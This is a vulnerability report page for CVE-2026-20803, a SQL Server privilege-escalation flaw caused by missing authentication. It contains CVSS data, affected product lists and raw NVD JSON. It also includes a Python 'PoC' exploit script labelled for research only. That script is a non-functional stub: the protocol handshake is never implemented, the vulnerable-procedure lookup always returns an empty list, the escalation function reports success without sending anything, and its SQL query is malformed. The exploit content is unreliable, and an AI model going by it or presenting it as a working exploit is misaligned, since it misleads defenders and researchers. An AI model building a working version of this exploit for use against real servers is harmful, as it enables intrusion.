Security Vulnerability Report
中文
CVE-2026-20803 CVSS 7.2 HIGH

CVE-2026-20803

Published: 2026-01-13 18:16:07
Last Modified: 2026-01-16 14:35:03

Description

Missing authentication for critical function in SQL Server allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sql_server_2022:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:sql_server_2022:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:sql_server_2025:17.0.1000.7:*:*:*:*:*:x64:* - VULNERABLE
Microsoft SQL Server (具体版本需查看官方公告)
建议访问 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20803 获取完整受影响版本列表

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20803 PoC - SQL Server Privilege Escalation via Missing Authentication # This PoC demonstrates the privilege escalation vulnerability in SQL Server # Requires: Valid SQL Server account credentials with network access import socket import struct def exploit_cve_2026_20803(target_ip, target_port, username, password): """ Exploit for CVE-2026-20803: Missing authentication for critical function in SQL Server Args: target_ip: Target SQL Server IP address target_port: SQL Server port (default 1433) username: Valid SQL Server username password: SQL Server password Note: This is a conceptual PoC. Actual exploitation requires specific SQL Server version and may involve different attack vectors based on the vulnerable function. """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Authenticating as {username}") # Step 1: Establish connection with valid credentials try: conn = establish_sql_connection(target_ip, target_port, username, password) print("[+] Successfully connected to SQL Server") except Exception as e: print(f"[-] Connection failed: {e}") return False # Step 2: Identify the vulnerable function/procedure # Query system tables to find procedures with missing authentication vulnerable_procs = identify_vulnerable_procedures(conn) if not vulnerable_procs: print("[-] No vulnerable procedures found") return False print(f"[+] Found {len(vulnerable_procs)} potentially vulnerable procedures") # Step 3: Execute privilege escalation for proc in vulnerable_procs: print(f"[*] Attempting to exploit: {proc}") result = execute_privilege_escalation(conn, proc) if result: print(f"[+] Successfully escalated privileges via {proc}") print("[+] Attacker now has elevated access") return True print("[-] Privilege escalation failed") return False def establish_sql_connection(ip, port, user, pwd): """Establish TDS connection to SQL Server""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) # TDS protocol handshake would be implemented here return sock def identify_vulnerable_procedures(conn): """Query for procedures missing authentication checks""" # SQL query to find procedures that should require authentication query = """ SELECT name, definition FROM sys.sql_modules WHERE uses_native_compilation = 1 AND NOT EXISTS ( SELECT 1 FROM sys.database_permissions WHERE major_id = OBJECT_ID(sys.sql_modules.object_id) ) """ return [] # Return list of vulnerable procedure names def execute_privilege_escalation(conn, proc_name): """Execute the vulnerable procedure to escalate privileges""" # Craft malicious request to trigger the vulnerable function exploit_payload = f"EXEC {proc_name};" # Send payload via TDS protocol return True if __name__ == "__main__": import sys if len(sys.argv) < 5: print("Usage: python cve-2026-20803.py <target_ip> <port> <username> <password>") sys.exit(1) exploit_cve_2026_20803(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20803", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:06.630", "lastModified": "2026-01-16T14:35:02.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authentication for critical function in SQL Server allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Falta de autenticación para una función crítica en SQL Server permite a un atacante autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sql_server_2022:*:*:*:*:*:*:x64:*", "versionStartIncluding": "16.0.1000.6", "versionEndExcluding": "16.0.1165.1", "matchCriteriaId": "571B6885-6FD3-4E3F-A22A-583A0029F20A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sql_server_2022:*:*:*:*:*:*:x64:*", "versionStartIncluding": "16.0.4003.1", "versionEndExcluding": "16.0.4230.2", "matchCriteriaId": "B984CC39-AE9C-4F8E-B316-94EFF9462148"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sql_server_2025:17.0.1000.7:*:*:*:*:*:x64:*", "matchCriteriaId": "E722BA1A-A8E8-486E-8D8E-6F9B7DD2B556"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20803", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}